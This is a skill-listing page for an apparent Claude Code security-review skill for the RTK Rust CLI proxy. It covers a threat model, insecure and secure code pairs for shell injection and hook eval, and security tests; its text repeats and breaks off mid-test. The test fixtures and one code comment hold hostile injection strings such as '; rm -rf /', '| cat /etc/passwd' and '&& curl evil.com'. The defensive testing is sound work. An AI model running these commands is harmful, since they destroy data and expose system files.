/security-guardian
CLI security expert for RTK - command injection, shell escaping, hook security
$ npx -y skills add rtk-ai/rtk --skill security-guardian --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
- Fires itselfAuto-invocation. Claude auto-loads it when your prompt matches the work.Auto-invocation is when the right skill fires by itself at the right moment, driven by a FLOW.md router and a hook, instead of you invoking it by name. It is the difference between a skill being installed and a skill actually getting used.Read the full definition β
- You can call itInvoke it directly when you want it.
- Slash command
/security-guardian
Context preview
The summary Claude sees to decide when to auto-load this skill.
CLI security expert for RTK - command injection, shell escaping, hook security
SKILL.md
security-guardian.SKILL.mddescription: CLI security expert for RTK - command injection, shell escaping, hook security
allowed-tools: Read Grep Glob Bash
Security Guardian
Comprehensive security analysis for RTK CLI tool, focusing on **command injection**, **shell escaping**, **hook security**, and **malicious input handling**.
When to Use
- **Automatically triggered**: After filter changes, shell command execution logic, hook modifications
- **Manual invocation**: Before release, after security-sensitive code changes
- **Proactive**: When handling user input, executing shell commands, or parsing untrusted output
RTK Security Threat Model
RTK faces unique security challenges as a CLI proxy that: 1. **Executes shell commands** based on user input 2. **Parses untrusted command output** (git, cargo, gh, etc.) 3. **Integrates with Claude Code hooks** (rtk-rewrite.sh, rtk-suggest.sh) 4. **Routes commands transparently** (command injection vectors)
Threat Categories
| Threat | Severity | Impact | Mitigation | |--------|----------|--------|------------| | **Command Injection** | π΄ CRITICAL | Remote code execution | Input validation, shell escaping | | **Shell Escaping** | π΄ CRITICAL | Arbitrary command execution | Platform-specific escaping | | **Hook Injection** | π‘ HIGH | Hook hijacking, command interception | Permission checks, signature validation | | **Malicious Output** | π‘ MEDIUM | RTK crash, DoS | Robust parsing, error handling | | **Path Traversal** | π’ LOW | File access outside filters/ | Path sanitization |
Security Analysis Workflow
1. Threat Identification
**Questions to ask** for every code change:
Input Validation:
- Does this code accept user input?
- Is the input validated before use?
- Can special characters (;, |, &, $, `, \, etc.) cause issues?
Shell Execution:
- Does this code execute shell commands?
- Are command arguments properly escaped?
- Is std::process::Command used (safe) or shell=true (dangerous)?
Output Parsing:
- Does this code parse external command output?
- Can malformed output cause panics or crashes?
- Are regex patterns tested against malicious input?
Hook Integration:
- Does this code modify hooks?
- Are hook permissions validated (executable bit)?
- Is hook source code integrity checked?
2. Code Audit Patterns
**Command Injection Detection**:
// π΄ CRITICAL: Shell injection vulnerability
let user_input = env::args().nth(1).unwrap();
let cmd = format!("git log {}", user_input); // DANGEROUS!
std::process::Command::new("sh")
.arg("-c")
.arg(&cmd) // Attacker can inject: `; rm -rf /`
.spawn();
// β
SAFE: Use Command builder, not shell
use std::process::Command;
let user_input = env::args().nth(1).unwrap();
Command::new("git")
.arg("log")
.arg(&user_input) // Safely passed as argument, not interpreted by shell
.spawn();**Shell Escaping Vulnerability**:
// π΄ CRITICAL: No escaping for special chars
fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> {
let full_cmd = format!("{} {}", cmd, args.join(" "));
Command::new("sh")
.arg("-c")
.arg(&full_cmd) // DANGEROUS: args not escaped
.output()
}
// β
SAFE: Use Command builder, automatic escaping
fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> {
Command::new(cmd)
.args(args) // Safely escaped by Command API
.output()
}**Malicious Output Handling**:
// π΄ CRITICAL: Panic on unexpected output
fn filter_git_log(input: &str) -> String {
let first_line = input.lines().next().unwrap(); // Panic if empty!
let hash = &first_line[7..47]; // Panic if line too short!
hash.to_string()
}
// β
SAFE: Graceful error handling
fn filter_git_log(input: &str) -> Result<String> {
let first_line = input.lines().next()
.ok_or_else(|| anyhow::anyhow!("Empty input"))?;
if first_line.len() < 47 {
bail!("Invalid git log format");
}
Ok(first_line[7..47].to_string())
}**Hook Injection Prevention**:
# π΄ CRITICAL: Hook not checking source
#!/bin/bash
# rtk-rewrite.sh
# Execute command without validation
eval "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" # DANGEROUS!
# β
SAFE: Validate hook environment
#!/bin/bash
# rtk-rewrite.sh
# Verify running in Claude Code context
if [ -z "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" ]; then
echo "Error: Not running in Claude Code context"
exit 1
fi
# Validate RTK binary exists and is executable
if ! command -v rtk >/dev/null 2>&1; then
echo "Error: rtk binary not found"
exit 1
fi
# Execute with explicit path (no PATH hijacking)
/usr/local/bin/rtk "$@"3. Security Testing
**Command Injection Tests**:
#[cfg(test)]
mod security_tests {
use super::*;
#[test]
fn test_command_injection_defense() {
// Malicious input: attempt shell injection
let malicious_inputs = vec![
"; rm -rf /",
"| cat /etc/passwd",
"$(whoami)",
"`id`",
"&& curl evil.com",
];
for input in malicious_inputs {
// Should NOT execute injected commands
let result = execute_command("git", &["log", input]);
// Either:
// 1. Returns error (command fails safely), OR
// 2. Treats input as literal string (no shell interpretation)
// Both acceptable - just don't execute injection!
}
}
#[test]
fn test_shell_escaping() {
// Special characters that need escaping
let special_chars = vec![
";", "|", "&", "$", "`", "\\", "\"", "'", "\n", "\r",
];
for char in special_chars {
let arg = format!("test{}value", char);
let escaped = escape_for_shell(&arg);
// Escaped version should NOT be interpreted by shell
assert!(!escaped.contains(char) || escaped.contains('\\'));
}
}
}**Malicious Output Tests**:
#[test
Read more
description: CLI security expert for RTK - command injection, shell escaping, hook security allowed-tools: Read Grep Glob Bash
Security Guardian
Comprehensive security analysis for RTK CLI tool, focusing on **command injection**, **shell escaping**, **hook security**, and **malicious input handling**.
When to Use
- **Automatically triggered**: After filter changes, shell command execution logic, hook modifications
- **Manual invocation**: Before release, after security-sensitive code changes
- **Proactive**: When handling user input, executing shell commands, or parsing untrusted output
RTK Security Threat Model
RTK faces unique security challenges as a CLI proxy that: 1. **Executes shell commands** based on user input 2. **Parses untrusted command output** (git, cargo, gh, etc.) 3. **Integrates with Claude Code hooks** (rtk-rewrite.sh, rtk-suggest.sh) 4. **Routes commands transparently** (command injection vectors)
Threat Categories
| Threat | Severity | Impact | Mitigation | |--------|----------|--------|------------| | **Command Injection** | π΄ CRITICAL | Remote code execution | Input validation, shell escaping | | **Shell Escaping** | π΄ CRITICAL | Arbitrary command execution | Platform-specific escaping | | **Hook Injection** | π‘ HIGH | Hook hijacking, command interception | Permission checks, signature validation | | **Malicious Output** | π‘ MEDIUM | RTK crash, DoS | Robust parsing, error handling | | **Path Traversal** | π’ LOW | File access outside filters/ | Path sanitization |
Security Analysis Workflow
1. Threat Identification
**Questions to ask** for every code change:
Input Validation: - Does this code accept user input? - Is the input validated before use? - Can special characters (;, |, &, $, `, \, etc.) cause issues? Shell Execution: - Does this code execute shell commands? - Are command arguments properly escaped? - Is std::process::Command used (safe) or shell=true (dangerous)? Output Parsing: - Does this code parse external command output? - Can malformed output cause panics or crashes? - Are regex patterns tested against malicious input? Hook Integration: - Does this code modify hooks? - Are hook permissions validated (executable bit)? - Is hook source code integrity checked?
2. Code Audit Patterns
**Command Injection Detection**:
// π΄ CRITICAL: Shell injection vulnerability
let user_input = env::args().nth(1).unwrap();
let cmd = format!("git log {}", user_input); // DANGEROUS!
std::process::Command::new("sh")
.arg("-c")
.arg(&cmd) // Attacker can inject: `; rm -rf /`
.spawn();
// β
SAFE: Use Command builder, not shell
use std::process::Command;
let user_input = env::args().nth(1).unwrap();
Command::new("git")
.arg("log")
.arg(&user_input) // Safely passed as argument, not interpreted by shell
.spawn();**Shell Escaping Vulnerability**:
// π΄ CRITICAL: No escaping for special chars
fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> {
let full_cmd = format!("{} {}", cmd, args.join(" "));
Command::new("sh")
.arg("-c")
.arg(&full_cmd) // DANGEROUS: args not escaped
.output()
}
// β
SAFE: Use Command builder, automatic escaping
fn execute_raw(cmd: &str, args: &[&str]) -> Result<Output> {
Command::new(cmd)
.args(args) // Safely escaped by Command API
.output()
}**Malicious Output Handling**:
// π΄ CRITICAL: Panic on unexpected output
fn filter_git_log(input: &str) -> String {
let first_line = input.lines().next().unwrap(); // Panic if empty!
let hash = &first_line[7..47]; // Panic if line too short!
hash.to_string()
}
// β
SAFE: Graceful error handling
fn filter_git_log(input: &str) -> Result<String> {
let first_line = input.lines().next()
.ok_or_else(|| anyhow::anyhow!("Empty input"))?;
if first_line.len() < 47 {
bail!("Invalid git log format");
}
Ok(first_line[7..47].to_string())
}**Hook Injection Prevention**:
# π΄ CRITICAL: Hook not checking source
#!/bin/bash
# rtk-rewrite.sh
# Execute command without validation
eval "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" # DANGEROUS!
# β
SAFE: Validate hook environment
#!/bin/bash
# rtk-rewrite.sh
# Verify running in Claude Code context
if [ -z "$CLAUDE_CODE_HOOK_BASH_TEMPLATE" ]; then
echo "Error: Not running in Claude Code context"
exit 1
fi
# Validate RTK binary exists and is executable
if ! command -v rtk >/dev/null 2>&1; then
echo "Error: rtk binary not found"
exit 1
fi
# Execute with explicit path (no PATH hijacking)
/usr/local/bin/rtk "$@"3. Security Testing
**Command Injection Tests**:
#[cfg(test)]
mod security_tests {
use super::*;
#[test]
fn test_command_injection_defense() {
// Malicious input: attempt shell injection
let malicious_inputs = vec![
"; rm -rf /",
"| cat /etc/passwd",
"$(whoami)",
"`id`",
"&& curl evil.com",
];
for input in malicious_inputs {
// Should NOT execute injected commands
let result = execute_command("git", &["log", input]);
// Either:
// 1. Returns error (command fails safely), OR
// 2. Treats input as literal string (no shell interpretation)
// Both acceptable - just don't execute injection!
}
}
#[test]
fn test_shell_escaping() {
// Special characters that need escaping
let special_chars = vec![
";", "|", "&", "$", "`", "\\", "\"", "'", "\n", "\r",
];
for char in special_chars {
let arg = format!("test{}value", char);
let escaped = escape_for_shell(&arg);
// Escaped version should NOT be interpreted by shell
assert!(!escaped.contains(char) || escaped.contains('\\'));
}
}
}**Malicious Output Tests**:
#[test
CLI proxy that reduces LLM token consumption by 60-90% on common dev commands. Single Rust binary, zero dependencies
Repo: rtk-ai/rtk
Other skills on rtk.
- /code-simplifier
Review RTK Rust code for idiomatic simplification. Detects over-engineering, unnecessary allocations, verbose patterns. Applies Rust idioms without changing behavior.
Open skill - /design-patterns
Rust design patterns for RTK. Newtype, Builder, RAII, Trait Objects, State Machine. Applied to CLI filter modules. Use when designing new modules or refactoring existing ones.
Open skill - /issue-triage
Issue triage: audit open issues, categorize, detect duplicates, cross-ref PRs, risk assessment, post comments. Args: "all" for deep analysis of all, issue numbers to focus (e.g. "42 57"), "en"/"fr" for language, no arg = audit only in French.
Open skill - /performance
CLI performance optimization - startup time, memory usage, token savings benchmarking
Open skill - /pr-review
Batch review des PRs RTK par ordre de complexitΓ© croissante (XS β S β M β L). Pour chaque PR : vΓ©rifie l'Γ©tat (conflits, CLA, reviews), lit le diff complet, analyse le code en contexte, prΓ©sente un rΓ©sumΓ© avec lien + taille + recommandation. Attend validation explicite avant
Open skill - /pr-triage
PR triage: audit open PRs, deep review selected ones, draft and post review comments. Args: "all" to review all, PR numbers to focus (e.g. "42 57"), "en"/"fr" for language, no arg = audit only in French.
Open skill

